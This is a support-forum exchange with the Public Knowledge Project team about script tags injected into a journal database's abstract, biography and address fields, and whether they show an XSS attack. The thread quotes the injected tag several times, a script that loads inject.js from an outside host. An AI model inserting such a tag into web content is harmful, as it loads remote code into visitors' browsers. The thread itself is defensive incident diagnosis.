This is almost certainly a defunct cross-site scripting attack.
It could have come from a malicious submission by an author/editor, or could have come from an author/editor who is using a compromised web browser.
My next step, if I were you, would be to evaluate the frequency of the injection in a development copy of your database. This might help you determine the source. You will want to clean the production database.
That is hard to tell. If the user seems legitimate, but there is a sudden influx of these script tags from the user, I would suspect an infected device. It is also possible the “user” is really just a scripted bot; you should be able to tell that based on other profile characteristics.
I suspect these are automated attempts to find XSS injections. We filter HTML out of those fields when displaying them, and I’m not aware of any lapses in our filtering habits, though of course it’s possible.
Regards,
Alec Smecher
Public Knowledge Project Team
Just a reminder that this is imported data. It all happened on a 2.2.4 version.
Every time, the <script src="http://shots.snap.com//client/inject.js?site_name=0" type="text/javascript"></script> was at the end of the content.
Here are the “scripted” fields:
In table articles, 1 record (same user ID from table users attempt, same article_id - 1640!):
in comments_to_ed
In table article_settings, 1 record:
setting_name: abstract
There was a bunch of MS Word styling as well within the field. At the end, 4 <script src="http://shots.snap.com//client/inject.js?site_name=0" type="text/javascript"></script>
In table author_settings, 2 records (user ID’s were sequential - 2488 and 2489):
setting_name: biography
First ID had just 4 <script src="http://shots.snap.com//client/inject.js?site_name=0" type="text/javascript"></script>, while the following ID had a bunch of MS Word styling crap and 1 <script src="http://shots.snap.com//client/inject.js?site_name=0" type="text/javascript"></script> at the end of the content.
In table user_settings (different ID 3147, but similar data from a previous one):
setting_name: biography, at the end of the content.
In table users (same ID - 3147 - as in user_settings)
setting_name: mailing_address, at the end of the content.
We filter on output, not on input. The user can essentially insert whatever they like into those fields, but when we generate output and send it to the user it gets filtered. There are plenty of bots out there injecting content into anyplace they can find, in the hopes that they’ll run into an XSS flaw, but just because you found the script there doesn’t mean they were successful.
Regards,
Alec Smecher
Public Knowledge Project Team